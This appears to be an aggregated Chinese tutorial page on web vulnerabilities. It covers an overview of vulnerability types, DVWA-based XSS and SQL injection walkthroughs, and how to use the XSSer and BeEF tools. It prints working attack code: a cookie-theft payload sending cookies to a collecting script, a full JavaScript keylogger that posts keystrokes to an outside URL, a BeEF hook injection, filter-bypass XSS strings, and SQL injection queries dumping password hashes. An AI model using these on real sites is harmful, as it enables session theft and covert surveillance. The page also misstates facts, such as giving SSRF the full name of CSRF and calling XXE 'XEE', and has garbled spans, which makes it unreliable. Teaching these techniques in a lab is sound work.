精华内容
下载资源
问答
  • 常见的Web漏洞

    万次阅读 2019-10-19 11:09:30
    经常听大家提起漏洞,其实漏洞分很多种,今天我来介绍一下常见的Web漏洞有哪些吧。 1、SQL注入漏洞 介绍: SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数...

    前言

            经常听大家提起漏洞,其实漏洞分很多种,今天我来介绍一下常见的Web漏洞有哪些吧。


    1、SQL注入漏洞

    介绍:

            SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数代入数据库查询,攻击者可以通过够在不同的SQL语句来实现对是数据库的任意操作。

    原理:

    SQL注入漏洞的产生需要满足以下两个条件:

    • 参数用户可控:前端传给后端的参数内容是用户可以控制的。
    • 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。

    常见的注入方式:

    1. Union注入
    2. Boolean注入
    3. 报错注入
    4. 时间注入
    5. 堆叠查询注入
    6. 二次注入
    7. 宽字节注入
    8. cookie注入
    9. base64注入
    10. XFF注入

    2、XSS漏洞

    介绍:

            XSS全拼为Cross-Site Scripting,为了和CSS有所区别,才改名为XSS,中文意思为跨站脚本,是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页时就会受到影响。恶意用户利用XSS代码攻击成功后,可能获得很高权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

    原理:

    1.反射型XSS

            反射型XSS又称为非持久性XSS,这种攻击方式往往具有一次性。

            攻击方式: 攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户服务器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。

    2.存储型XSS

            存储型XSS又称持久型XSS,攻击脚本将被永久的存放在目标服务器的数据库或文件中,具有很高的隐蔽性。

            攻击方式: 常见于博客,论坛和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久的被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。

    3.DOM型XSS

            使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

            攻击方式: 用户请求一个 经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DMO对象就会处理XSS代码,导致存在XSS漏洞。


    3、CSRF漏洞

    介绍:

            CSRF全拼为 Cross-Site Request Forgery,中文意思为跨站请求伪造,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。CSRF通过伪装成受信任用户请求受信任的网站。CSRF难以防范,危险性比XSS更高。

    原理:

            可以这样理解:攻击者利用目标用户的身份,以目标用户的名义执行某些非法操作。CSRF能做的事包括:以目标用户名义发送邮件、发消息,盗取目标用户的账号,甚至购买商品、虚拟货币转账。常被用来制作蠕虫攻击、刷SEO流量等。

    CSRF的攻击过程有以下两个重点:

    • 目标用户已经登录网站,能够执行网站的功能。
    • 目标用户访问了攻击者构造的URL。

    4、SSRF漏洞

    介绍:

            SSRF全拼为 Cross-Site Request Forgery,中文为服务器端请求伪造,是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统。

    原理:

            SSRF的形成大多数由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

    主要攻击方式:

    • 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。
    • 攻击运行在内网或本地的应用程序。
    • 对内网Web应用进行指纹识别,识别企业内部的资产信息。
    • 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli)。
    • 利用file协议读取本地文件等。

    5、文件上传漏洞

    介绍:

            上传文件时,如果服务器代码未对客户端上传的文件进行严格的验证和过滤,很容易造成可以上传任意文件的情况,包括上传脚本文件(asp、aspx、php、jsp等格式的文件)。非法用户可以利用上传的恶意监本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被成为WebShell,也可将WebShell脚本称为一种网页后门,WebShell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。

    文件上传攻击种类:

    • JS检测绕过攻击
    • 文件后缀绕过攻击
    • 文件类型绕过攻击
    • 文件截断绕过攻击
    • 竞争条件攻击

    6、暴力破解漏洞

    介绍:

            暴力破解产生原因是由于服务器没有限制,导致攻击者可以通过暴力的手段破解所需信息,用户名、密码、验证码等。暴力破解需要一个庞大的字典。(我个人是使用python根据需求生成字典)

    防范方式:

    • 用户登录次数超过设置的阈值,锁定其账号。
    • 某个IP登录次数超过设置的阈值,则锁定IP。

    7、命令执行漏洞

    介绍:

            应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

    防范方式:

    • 尽量不要使用命令执行函数。
    • 客户端提交的变量在进入执行命令函数前要做好过滤和检测。
    • 在使用动态函数之前,确保使用的函数是指定的函数之一。
    • 对PHP语言来说,不能完全控制的危险函数最好不要使用。

    8、逻辑漏洞

    介绍:

            逻辑漏洞就是指攻击者利用业务的设计缺陷,获取敏感信息或破坏业务的完整性。一般出现在密码修改、越权访问、密码找回、交易支付金额等功能处。其中越权访问又分为水平越权和垂直越权。

    常见的逻辑漏洞种类:

    • 支付订单:在支付订单时,可以篡改价格为任意金额;或者篡改运费或其他费用为负数,导致总金额降低。
    • 越权访问:通过越权漏洞访问他人信息或者操纵他人账号。
    • 重置密码:
    • 竞争条件:余额10,A商品6元,B商品5元,使用多线程同时发送购买多个商品,可能会出现以下几种结果。
      1. 有一件商品购买失败。
      2. 商品都购买成功,但是只扣了6元。
      3. 商品都购买成功,但是余额变成了-1元。

    9、XEE漏洞

    介绍:

            XEE全拼 XML External Entity,中文为外部实体注入,XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。


    以上是就是常见的Web漏洞介绍咯。

    展开全文
  • 常见的Web漏洞——XSS

    万次阅读 2018-07-08 17:53:33
    至少一个参数: 可选参数: 检查选项 选择攻击向量 绕过防火墙选项 绕过器选项 特殊技术 最后注入选项 特殊最后注入选项 报告导出 XSSer演示 BeEF-XSS 漏洞的防范 总结 XSS简介 XSS是跨站脚本...

    目录

    XSS简介

    XSS原理及分类

    反射型XSS

    存储型XSS

    基于DOM的XSS

    XSSer的使用

    至少有一个的参数:

    可选的参数:

    检查选项

    选择攻击向量

    绕过防火墙选项

    绕过器选项

    特殊技术

    最后注入选项

    特殊最后注入选项

    报告导出

    XSSer演示

    BeEF-XSS

    漏洞的防范

    总结


    XSS简介

    XSS是跨站脚本攻击(Cross Site Scripting)的简写,为了不与层叠样式表混淆而改写的。此漏洞也是网站存在相当多的漏洞,仅次于SQL注入,攻击者可以使用XSS来绕过访问控制,如同源策略。利用XSS可以窃取账号,网页挂马,发动拒绝服务攻击,发送垃圾邮件等等。

    XSS原理及分类

    XSS形成的原因与SQL注入类似,也是由于程序员在开发过程中没有对用户提交的恶意数据做过滤,转义而直接输出到页面,导致用户可以利用此漏洞执行JavaScript,HTML等代码,和SQL注入不同的是XSS不一定要和数据库交互。XSS没有单一的、标准的分类,一般可以分为非持久型(反射型)、持久型(存储型)。通常人们也增加了第三种——基于DOM的XSS。反射型XSS指用户提交的数据没有存储在数据库中而是直接输出到页面,不具有存储性,一次提交只能执行一次。存储型XSS指用户提交的数据存储在了数据库,用户每一次访问都会触发XSS,一次提交可以一直执行,其危害是XSS中最大的。基于DOM的XSS指用户可以修改浏览器中的DOM节点并显示在浏览器上,从而产生XSS。XSS的分类并不那么重要,如果非要死磕到底,这里有一篇个人觉得很不错的博客那些年我们看不懂的XSS,看不懂没关系,以后再看。

    反射型XSS

    使用DVWA来学习XSS的利用方法,登录DVWA,设置安全等级为low,然后先来学习一下反射型XSS的利用方法,点击XSS(Reflected),如图,输入什么就会显示Hello+输入的内容:

    点击View Source查看源代码,如图:

    可见,源码中没有对用户提交的数据做任何处理,只是简单判断如果提交的数据是否存在且不为空,就输出Hello+提交的内容,利用此漏洞提交一个JavaScript弹窗代码:<script>alert('反射型XSS')</script>,和SQL注入类似,可以通过表单提交,也可以通过URL提交,不过通过URL提交有时需要进行url编码,如图通过表单提交的结果:

    构造获取cookie的JavaScript代码:<script>alert(document.cookie)</script>,如图:

    构造页面跳转JavaScript代码:<script>location='https://www.baidu.com'</script>,提交即可自动跳转,如图:

    假设这台主机同时也是攻击者的远程主机,在wamp64目录下的www目录下创建文件夹test,在test下新建cookie.php,写入如图所示代码:

    此时,构造获取cookie并发送到远程主机的JavaScript代码:<script>document.location='http://127.0.0.1/test/cookie.php?cookie='+document.cookie</script>,提交之后就会获取cookie并发送到远程主机,以GET方式传递给变量cookie,远程主机就会执行上图代码,创建一个cookie.txt的文件,并写入cookie,如图:

    提交之后会把cookie提交到远程主机,打开test目录会发现多了一个cookie.txt文件,打开可以看到获取到的cookie。

    然后设置安全等级为medium,然后同刚才一样,我们查看一下代码:

    可以看到代码只是将输入的字符串使用str_replace函数中进行过滤,该函数将“<script>”替换为空字符,且只替换一次,区分大小写,构造payload:<scr<script>ipt>alert('xss')</script>,也可以使用其他标签,如<img src="" οnerrοr="alert('xss')">,提交之后如图:

    也可以使用javascript中的编码还原函数进行绕过:<img src="" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,39,120,120,115,39,41))"></img>,提交之后如图:

    然后设置安全等级为High,然后查看一下代码:

    发现使用preg_replace函数对输入进行的过滤,且使用正则表达式匹配了所有的<script>字符串,该函数不区分大小写,因此我们无法再使用<script>标签,但是我们可以使用其他的标签,如a标签,img标签等,构造payload:<img src="" οnerrοr="alert('xss')"><img src="" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,39,120,120,115,39,41))"></img>,如图:

    反射型XSS的利用需要结合社会工程学去引诱受害者点击链接,它有个明显的缺点就是太容易被发现了,即使使用url编码把可疑字符编码也和容易让人产生怀疑,除非将恶意链接映射为短域名。

    存储型XSS

    设置安全等级为low,查看源代码,如图:

    发现并未对输入的name和massage做任何过滤操作就直接插入数据库,输入过程中发现前端对两个输入框都做了输入长度限制,但可以通过改html代码实现,因此使用上边的弹框代码测试,如图:

    退出之后重新登录在查看,依旧会弹框,如果使用payload:<script>window.location.href="http://www.baidu.com"</script>,你会发现只要访问刚才的页面就会直接跳转到百度首页,如果把百度的网址改成挂有木马的网址、钓鱼网站可以对用户造成不小的影响,如果结合metasploit,利用浏览器漏洞如MS14_064等,可以直接对用户的计算机远程控制。

    插入JavaScript键盘记录代码:

    <script type="text/javascript">
        var keystring = "";//记录按键的字符串
        function $(s){return document.getElementById(s)?document.getElementById(s):s;}
        function keypress(e)
        {
            var currKey=0,CapsLock=0,e=e||event;
                currKey=e.keyCode||e.which||e.charCode;
            CapsLock=currKey>=65&&currKey<=90;
            switch(currKey)
            {
               //屏蔽了退格、制表、回车、空格、方向键、删除键,因为keypress只能针对一些可以打印出来的字符有效,而对于功能按键,如F1-F12、Backspace、Enter、Escape、PageUP、PageDown和箭头方向等,就不会产生keypress事件,但是可以产生keydown和keyup事件。然而在FireFox中,功能按键是可以产生keypress事件的。
               case 8: case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName = "";break;
               default:keyName = String.fromCharCode(currKey); break;
            }
            keystring += keyName;
        }
        function keydown(e)
        {
            var e=e||event;
            var currKey=e.keyCode||e.which||e.charCode;
            if((currKey>7&&currKey<14)||(currKey>31&&currKey<47))
            {
                switch(currKey)
               {
                  case 8: keyName = "[退格]"; break;
                  case 9: keyName = "[制表]"; break;
                  case 13:keyName = "[回车]"; break;
                  case 32:keyName = "[空格]"; break;
                  case 33:keyName = "[PageUp]";   break;
                  case 34:keyName = "[PageDown]";   break;
                  case 35:keyName = "[End]";   break;
                  case 36:keyName = "[Home]";   break;
                  case 37:keyName = "[方向键左]";   break;
                  case 38:keyName = "[方向键上]";   break;
                  case 39:keyName = "[方向键右]";   break;
                  case 40:keyName = "[方向键下]";   break;
                  case 46:keyName = "[删除]";   break;
                  default:keyName = "";    break;
                }
                keystring += keyName;
            }
            $("content").innerHTML=keystring;
        }
        function keyup(e)
        {
            $("content").innerHTML=keystring;
        }
        document.onkeypress=keypress;
        document.onkeydown =keydown;
        document.onkeyup =keyup;
    
        function loadXMLDoc()
        {
            var xmlhttp;
            if (window.XMLHttpRequest)
              {// code for IE7+, Firefox, Chrome, Opera, Safari
                xmlhttp=new XMLHttpRequest();
              }
            else
              {// code for IE6, IE5
                xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
              }
            xmlhttp.onreadystatechange=function()
              {
                if (xmlhttp.readyState==4 && xmlhttp.status==200)
                {
                    document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
                }
              }
            xmlhttp.open("POST","http://www.test.com",true);
            xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
            <!-- send的参数的规则是,用“=”间隔name和body,“&”间隔条目,下面这行会在name中显示“keystring”,value中显示keystring的值 -->
            xmlhttp.send("keystring="+keystring);
        }    
        
        <!-- 如果下面用下面这行,则在关闭前弹出对话框。 -->
        <!-- window.onbeforeunload = function() { return "网站被黑了"+ keystring;} -->
    
        window.onbeforeunload = function() { loadXMLDoc();}
    
    </script>

    可以记录用户的按键信息并发送到指定url。

    设置安全等级为medium,查看代码:

    发现过滤了name中的<script>标签,使用上面的方法同样可以绕过。但是使用htmlspecialchars转义了message中的关键字,因此无法再这里使用XSS。然后设置安全等级为High,查看代码:

    message部分依旧无法利用XSS,name部分完全过滤了script标签,因此使用img标签依旧可以利用XSS。

    基于DOM的XSS

    基于DOM的XSS一般不与服务器进行交互,通过浏览器读取用户的数据交给DOM树,设置安全等级为Low,查看源代码发现后台没有任何代码,然后点击页面中的select按钮,可以看到url中使用GET提交了default参数,值为English,然后查看网页源代码:

    发现JavaScript直接将传入的default参数的值赋值给option标签的属性和文本,因此,构造payload:<script>alert('xss')</script>,替换url中default的值,提交后如图:

    使用payload:<script>alert(document.cookie)</script>,同样可以获取到cookie值,如图:

    设置安全等级为Medium,查看源代码:

    发现服务器端对参数default的值进行了过滤,且不区分大小写,查看网页源代码发现前端并没有对传入的参数进行过滤处理,因此可以在payload前加“#”,从而使其不发送到服务器端,只发送到浏览器,同样也可以使用img标签代替script标签执行JavaScript脚本:

    设置安全等级为High,查看源代码发现服务端使用了白名单,但是仍然可以使用“#”进行绕过,方法同上。

    XSSer的使用

    XSSer是一个自动化的XSS漏洞检测和利用工具,支持控制台和图形界面,功能非常强大,Kali Linux中以及内置有该工具,因此可以直接使用。XSSer常用的参数如下:

    至少有一个的参数:

    -u, --url                         目标URL

    -i,READFILE                url文件(批量检测url)

    -d,DORK                      利用搜索引擎搜索URL(如搜索包含“search.php?id=”的url使用“-d "search.php?id="”)

    --De=DORK_ENGINE    指定搜索引擎(如google等,支持的搜索引擎较少,需配合-d参数一起使用)

    --Da                                使用XSSer提供的所有搜索引擎(需配合-d参数一起使用)

    可选的参数:

     -s,--statistics               显示高级输出结果(包含HTTP状态码,payload是否执行等信息)

     -v,--verbose                激活冗余模式输出结果(显示详细信息,包含HTTP请求头、响应头和payload执行情况等信息)

     --gtk                               以图像界面启动

     --imx=IMX                      使用xss插入图像(如--imx image.png)

     --fla=FLASH                  用XSS插入Flash视频(--fla movie.swf)

     --xst=XST                      跨站点跟踪(如--xst http(s)://host.com)

     -g,GETDATA               使用GET请求发送payload(如-g /search.php?id=)

     -p,POSTDATA             使用POST请求发送payload(如-p "name=a&pass=b")

     -c,CRAWLING            目标上要爬行的URL数:1-99999

     --Cw=CRAWLER_WIDTH       爬行深度:1-5

     --Cl                                 仅对本地目标URL进行爬网(默认为true)

     --cookie=COOKIE          修改HTTP请求头中的Cookie

     --drop-cookie                  忽略响应头中的Set-Cookie

     --user-agent=AGENT     修改HTTP请求头中的User-Agent(默认为SPOOFED)

     --referer=REFERER       使用其他的HTTP referer(默认为NONE)

     --xforw                            设置X-Forwarded-For为随机IP

     --xclient                          设置X-Client-IP为随机IP

     --headers=HEADERS    添加额外的Headers,使用换行符分割

     --auth-type=ATYPE       设置HTTP身份验证类型(如Basic, Digest, GSS or NTLM)

     --auth-cred=ACRED      HTTP身份验证凭据(如name:password)

     --proxy=PROXY             设置代理服务器

     --ignore-proxy                忽略系统默认的HTTP代理

     --timeout=TIMEOUT      设置响应超时时间

     --retries=RETRIES        连接超时时重试(默认为1)

     --threads=THREADS    线程数(默认为5)

     --delay=DELAY             每个HTTP请求之间的延迟,单位为秒(默认为0)

    检查选项

    --heuristic                     检查过滤的字符

    --checkaturl=ALT          检查备用的url,使用Blind XSS

    --checkatdata=ALD      检查备用的payload

    --reverse-check            建立从目标到XSSER的反向连接,以证明100%易受攻击(推荐!)

    选择攻击向量

    --payload=SCRIPT       使用自定义的XSS payload

    --auto                            使用XSSer提供的攻击向量

    绕过防火墙选项

    --Phpids0.6.5                PHPIDS (0.6.5) [ALL]

    --Phpids0.7                   PHPIDS (0.7) [ALL]

    --Imperva                      Imperva Incapsula [ALL]

    --Webknight                  WebKnight (4.1) [Chrome]

    --F5bigip                       F5 Big IP [Chrome + FF + Opera]

    --Barracuda                  Barracuda WAF [ALL]

    --Modsec                      Mod-Security [ALL]

    --Quickdefense             QuickDefense [Chrome]

    绕过器选项

    --Str                              使用String.FromCharCode()进行绕过(即Unicode编码绕过)

    --Une                            使用Unescape()进行绕过(即URL编码绕过)

    --Mix                             使用Unicode编码和URL编码绕过

    --Dec                            使用十进制编码绕过

    --Hex                            使用十六进制编码绕过

    --Hes                            使用带分号的十六进制编码绕过

    --Dwo                           使用DWORD(双字)编码IP地址

    --Doo                            使用八进制编码IP地址

    --Cem=CEM                 使用多种编码方式结合(如Mix,Une,Str,Hex)

    特殊技术

    --Coo                            跨站脚本Cookie注入

    --Xsa                            跨站脚本Agent注入

    --Xsr                             跨站点引用脚本

    --Dcp                            数据控制协议注入

    --Dom                           DOM型注入

    --Ind                              HTTP响应拆分诱导代码

    --Anchor                       使用Anchor隐身payload(DOM 影子)

    最后注入选项

    --Fp=FINALPAYLOAD      利用自己的代码

    --Fr=FINALREMOTE        利用远程脚本

    --Doss                               XSS服务的拒绝服务

    --Dos                                 XSS客户端拒绝服务

    --B64                                 使用Base64编码标签

    特殊最后注入选项

    --Onm                         使用onMouseMove()事件(即鼠标移动出发payload)

    --Ifr                              使用iframe标签自动加载

    报告导出

    --save                          导出为文本文档,在/usr/share/xsser/XSSreport.raw

    --xml=FILEXML           导出为xml文件(如report.xml)

    XSSer演示

    接下来使用XSSer对dvwa进行测试,在测试中我遇到了问题:在Kali 2019.2版本中使用系统自带的xsser 1.7b怎么都测不出来,因此我卸载了xsser1.7vb安装了xsser 1.6版本,1.6版本使用的beautifulsoup模块而1.7版本使用的是beautifulsoup4模块,因此需要安装beautifulsoup模块(pip install beautifulsoup)。

    以反射型XSS为例,查看cookie信息,如图:

    将名称和值记录下来,使用XSSer检测是否存在XSS漏洞(xsser -u "http://192.168.88.131/dvwa/vulnerabilities/xss_r/?name=" --cookie "security=low;PHPSESSID=1gcpm1407sbsngpu1g41dsj4u1" -v):

    以存储型XSS为例,测试(xsser -u "http://192.168.88.131/dvwa/vulnerabilities/xss_s/" --cookie "security=low;PHPSESSID=1gcpm1407sbsngpu1g41dsj4u1" -p "btnSign=Sign+Guestbook&mtxMessage=b&txtName="),结果没测出来,尝试别的选项也无法测试出来,我改变我的看法了,XSSer也就是个一般脚本,还不如手工测试方便,误报太高了,原理很容易理解:提交payload,然后分析返回的html页面是否存在payload,我们自己也可以写一个。

    BeEF-XSS

    BeEF-XSS可以说是最强大的XSS漏洞利用工具,可以收集浏览器信息、键盘记录、社会工程等,还可以结合Metasploit进行攻击。要做到这些只需在受害者的网页中插入<script src="http://hacker.host:3000/hook.js"></script>即可,总之就是需要受害者客户端加载该js文件。

    在终端输入beef-xss就可以启动该程序,初次使用会提示你设置密码,如果需要和metasploit配合使用的话,需要修改BeEF的配置文件,将/usr/share/beef-xss/config.yaml打开,搜索metasploit,将enable: false改为enable: true,然后将/usr/share/beef-xss/extensions/demos/config.yaml打开,将enable: false改为enable: true即可。

    启动beef-xss后会自动打开登录界面,用户名为beef,密码为你设置的密码,登录之后如图:

    左侧会显示受害者主机,中间部分是入门使用方法。日志会记录受害者的操作,如鼠标移动,键盘按键信息等,已DVWA中的反射型XSS为例,提交<script src="http://192.168.88.132:3000/hook.js"></script>:

    可以在beef-xss控制面板看到左侧显示了受害者浏览器、IP地址、操作系统等信息:

    接着在受害者端输入框输入aaaaa,不提交,如图:

    在BeEF控制面板当前浏览器选项下边的日志中可以看到:

    在命令选项里,左侧有各种命令,各按钮的颜色代表的含义在入门选项里,选择播放声音命令,设置声音文件路径,点击执行,然后受害者就可以听到声音了,如图:

    检测弹出窗口阻止程序,双击模块结果,可以在右侧看到命令执行结果,如图:

    功能非常多,此外在社会工程学模块有很多有意思的东西,可以自行尝试。这里有篇博客写的也不错http://www.vuln.cn/6966

    漏洞的防范

    和SQL注入一样,XSS漏洞也是注入型漏洞,不能相信用户的输入,对用户的输入进行过滤,将用户的输入使用escapeHTML()进行转义,只要过滤的够严格就不怕有XSS。

    总结

    本文讲解了XSS 漏洞形成的原因、测试该漏洞的方法、一些简单的利用方法以及XSSer和BeEF-XSS的使用方法,且仅讲解了常见的有回显的XSS,对于禁用了弹框、无回显的XSS需要查看网页源代码中是否含有我们插入的payload来进行判断。本文讲解的内容较为基础,若要深入学习,推荐阅读《XSS跨站脚本攻击剖析与防御》。

    展开全文
  • 常见web漏洞

    2015-01-16 21:20:00
    常见的web漏洞——文件上传漏洞 一、文件上传漏洞概述 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,时候几乎没有什么技术...

    常见的web漏洞——文件上传漏洞

    一、文件上传漏洞概述
        
    文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,有时候几乎没有什么技术门槛。

       “文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
    文件上传后导致的常见安全问题一般有:
    1)上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行。
    2)上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似);
    3)上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。
    4)上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。

       除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块;或者上传一个合法的文本文件,其内容包含了PHP脚本,再通过"本地文件包含漏洞(Local File Include)"执行此脚本;等等。此类问题不再细述。
       在大多数情况下,文件上传漏洞一般都是指“上传Web脚本能够被服务器解析”的问题,也就是通常说的webshell的问题。要完成这个攻击,要满足以下几个条件:
       首先,上传的文件能够被Web容器解释执行。所以文件上传后所在的目录要是Web容器所覆盖到的路径。
       其次,用户能够从Web上访问这个文件。如果文件上传了,但用户无法通过Web访问,或者无法得到Web容器解释这个脚本,那么也不能称之为漏洞。
       最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。

    转载于:https://www.cnblogs.com/xue6666/p/4229795.html

    展开全文
  • SQL注入是网站存在最多也是最简单的漏洞,主要原因是程序员在开发用户和数据库交互系统时没有对用户输入字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入精心构造字符串去非法获取到数据库中...

    转自:https://blog.csdn.net/qq_32261191/article/details/80801052
    如有侵权联系删除
    SQL注入简介
    SQL注入是网站存在最多也是最简单的漏洞,主要原因是程序员在开发用户和数据库交互的系统时没有对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入精心构造的字符串去非法获取到数据库中的数据。本文以免费开源数据库MySQL为例,看懂本文需要了解基本SQL语句。

    SQL注入原理
    一般用户登录用的SQL语句为:SELECT * FROM user WHERE username=‘admin’ AND password=‘passwd’,此处admin和passwd分别为用户输入的用户名和密码,如果程序员没有对用户输入的用户名和密码做处理,就可以构造万能密码成功绕过登录验证,如用户输入’or 1#,SQL语句将变为:SELECT * FROM user WHERE username=’‘or 1#’ AND password=’’,‘’or 1为TRUE,#注释掉后面的内容,所以查询语句可以正确执行。我们可以使用DVWA来测试一下。

    打开DVWA也面,登录,然后修改DVWA Security等级为Low点击submit,如图

    然后点击左侧SQL Injection,出现一个输入ID查数据的文本框,点击网站右下角的View Source可查看源代码,如图

    可以看到SQL语句为SELECT first_name, last_name FROM users WHERE user_id = 'id;id&#x27;;用户输入的字符串存在id变量中,可以看到上面没有任何处理用户输入的字符串的函数,因此可以肯定这里存在SQL注入,我们仍然可以输入’or 1#,是SQL语句变为:SELECT first_name, last_name FROM users WHERE user_id = '‘or 1#’;从而查询到所有的first_name和last_name,如图

    SQL注入分类及判断
    事实上SQL注入有很多种,按数据类型可以分为数字型、字符型和搜索型,按提交方式可分为GET型,POST型,Cookie型和HTTP请求头注入,按执行效果有可以分为报错注入、联合查询注入、盲注和堆查询注入,其中盲注又可分为基于bool的和基于时间的注入。从查询语句及可看出来这里是字符型的注入同时也是GET型注入和表单注入,数字型注入查询语句为:SELECT * FROM user WHERE id=1,搜索型注入为查询语句为:SELECT * FROM user WHERE search like ‘%1%’。

    在知道查询语句的情况下我们很容易辨别是否存在注入及注入类型,很多时候我们并不知道查询语句是什么,所以我们可以这样判断,在URL或者表单中输入一个单引号或者其他特殊符号,页面出现错误说明此页面存在SQL注入,如果页面正常显示说明有字符被过滤或者不存在注入,读者可自行测试,如果存在注入可以进一步判断注入类型,在URL或者表单中输入0 or 1,如果可以查到数据,说明是数字型注入,如果输入0’or 1#,查到数据说明是字符型注入,方法不唯一。总之数字型注入不需要使用单引号闭合前面的单引号就可以执行SQL语句,而字符型必须闭合前面的单引号,然后才可以执行SQL语句,同时也需要把后面的单引号闭合,而注释就是很好的一种闭合后面的单引号的方法。

    GET型注入很容易从URL中看出来,如图,网页的URL为:http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1,浏览器通常使用?来表示GET方法传递参数,而使用POST传递参数是不会显示到URL中的,因此URL中含有?说明就是使用GET方法传递参数

    SQL注入方法
    注入方法可以直接在URL中提交注入语句,需要注意的是,在URL提交SQL语句,需要将注释符#进行URL编码,有时候所有SQL语句都需要URL编码,如图

    联合查询注入
    POST型注入和Cookie注入需要插件和工具才可进行,以后在介绍,联合查询注入也是用的非常多的,可以在URL中提交SQL语句,也可以在表单提交,联合查询相当于把别的表的数据查询结果显示到当前表,使用联合查询时,必须使得两张表的表结构一致,因此我们需要判断当前表的列数有多少列,此外还需知道是字符型注入还是数字型注入,由前面实验可知这是字符型注入,所以我们闭合前面的单引号,构造联合注入语句,输入1’order by 1#,页面正常,然后输入1’order by 2#,依次增加,直到3时出现错误,如图,说明当前表有2列

    接着我们构造联合查询语句暴露查询列显示在网页的位置:'union select 1,2#

    接着构造联合查询语句查询当前数据库用户和数据库名,结果会显示在上图对应的位置:'union select user(),database()#

    我们知道每个MySQL数据库中都有数据库information,和mysql,而所有的数据库信息全部存储在information中,MySQL的用户名和密码存储在mysql中的user表中,所以我们可以使用information来查询到所有的数据,查询当前数据库所有数据表:'union select 1,table_name from information_schema.tables where table_schema=database()#

    查询当前数据库下数据表abc的所有字段:'union select 1,column_name from information_schema.columns where table_name=‘abc’#

    查询当前数据库下数据表abc的字段user的数据:'union select 1,user from abc#

    查询MySQL的root用户和密码hash值:'union select user,authentication_string from mysql.user#,如图

    基于bool的盲注
    上面这些注入方法都需要网页可以显示查询数据的结果,而盲注适合页面不显示任何数据查询结果,基于bool的盲注就是页面只有正常和不正常两种情况,通过true和false来猜解数据,速度比较慢,基于bool的盲注通常用函数

    length(),返回长度,ascii(),返回ASCII值,substr(string,a,b),返回string以a开头,长度为b的字符串,count(),返回数量

    点击DVWA页面的SQL Injection(Blind),随便输入数字发现只有两种显示结果,符合bool注入条件,构造语句猜测当前数据库名长度是否大于5:1’ and length(database())>5#,如图

    说明当前数据库长度是小于5 的用二分法继续构造:1’ and length(database())>3#

    显然长度大于3却不大于5,当前数据库名长度就是4,然后判断数据库名第一个字符ASCII是否大于97:1’and (ascii(substr(database(),1,1)))>97#,依旧使用二分法慢慢判断,最终确定为ASCII为100,对应字符为:d

    然后判断数据库名第二个字符ASCII是否大于97:1’and (ascii(substr(database(),2,1)))>97#,最终确定ASCII为118,对应字符:v,同上步骤继续,最终确定当前数据库为:dvwa

    然后判断当前数据库中数据表的个数:1’and (select count(*) from information_schema.tables where table_schema=database())>3#,这个步骤可以有也可以没有,看完下面就知道了

    然后判断当前数据库中第一个数据表的长度是否大于5:1’and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5#,结果如图

    原理同上面判断数据库长度,最后得到当前数据库的第一个数据表的长度,获取第二个表的长度:1’and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)>5#,第三个,第四个以此类推,当第N个数据表长度大于0返回为假时,说明这个数据表不存在

